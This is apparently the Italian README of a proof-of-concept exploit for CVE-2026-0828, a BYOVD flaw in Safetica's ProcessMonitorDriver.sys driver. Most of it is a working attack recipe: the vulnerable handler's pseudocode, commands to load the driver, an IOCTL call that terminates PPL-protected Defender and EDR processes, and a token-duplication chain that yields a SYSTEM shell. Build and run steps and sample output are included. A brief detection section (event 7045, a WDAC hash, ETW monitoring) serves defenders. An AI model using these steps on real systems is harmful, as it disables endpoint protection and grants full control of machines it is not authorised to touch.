
Proof-of-concept exploit per CVE-2026-0828, una vulnerabilità BYOVD in Safetica ProcessMonitorDriver.sys che consente la terminazione non privilegiata di processi protetti da PPL e l'elevazione dei privilegi locali a SYSTEM tramite abuso di IOCTL e duplicazione dei token.
Il driver kernel DLP di Safetica (ProcessMonitorDriver.sys) espone un IOCTL non autenticato che consente a qualsiasi chiamante in modalità utente di terminare processi arbitrari tramite ZwTerminateProcess nel contesto del kernel, bypassando la protezione PPL (Protected Process Light).
CVSS: 8.8 (Alto) · Tipo: BYOVD, LPE · Piattaforma: Windows x64
Il gestore IRP_MJ_DEVICE_CONTROL per IOCTL 0xB822200C chiama ZwOpenProcess con PROCESS_ALL_ACCESS (0x1FFFFF) e successivamente ZwTerminateProcess utilizzando un PID fornito direttamente dal buffer di input — senza alcuna validazione dei privilegi o del chiamante.
// Vulnerable handler (IDA pseudocode)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // no SeSinglePrivilegeCheck, no ExGetPreviousMode check
Poiché la chiamata ha origine nel contesto del kernel, i processi protetti da PPL (Windows Defender, agenti EDR) possono essere terminati.
Versioni interessate: Safetica < 11.26.19 / < 10.5.150
Risolto in: Safetica 11.26.19, 11.29.8, 10.5.150 — aggiunto controllo dei privilegi al gestore IOCTL
Riferimenti: KOSEC Advisory · CERT VU#818729
Privilegi di amministratore
│
├─► Carica ProcessMonitorDriver.sys
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► FASE 1: Uccidi EDR tramite IOCTL 0xB822200C
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [kernel ctx, PPL bypassato]
│
└─► FASE 2: Duplicazione token → shell SYSTEM
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
| File | Descrizione |
|---|---|
exploit.c | PoC completo — uccide l'EDR, avvia cmd.exe come NT AUTHORITY\SYSTEM |
Richiede Visual Studio (Prompt dei comandi Strumenti nativi x64):
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
Passo 1 — Carica il driver (CMD da amministratore):
sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
Passo 2 — Esegui il PoC:
exploit.exe
Output previsto:
[Fase 1] Uccisione dell'EDR tramite CVE-2026-0828...
MsMpEng.exe PID 3412 -> UCCISO
NisSrv.exe PID 4180 -> UCCISO
SeDebugPrivilege abilitato
winlogon.exe -> pid 560
[+] Token SYSTEM ottenuto.
[+] Token duplicato.
shell avviata
Si apre una nuova finestra di cmd.exe come NT AUTHORITY\SYSTEM.
ID evento 7045 — installazione di un nuovo servizio kernel:
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
Blocklist WDAC (SHA256):
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
ETW: Monitora le chiamate DeviceIoControl a \\.\STProcessMonitorDriver.
Solo per ricerca di sicurezza autorizzata e uso in laboratorio. Non utilizzare su sistemi di cui non possiedi o non hai autorizzazione scritta per testare.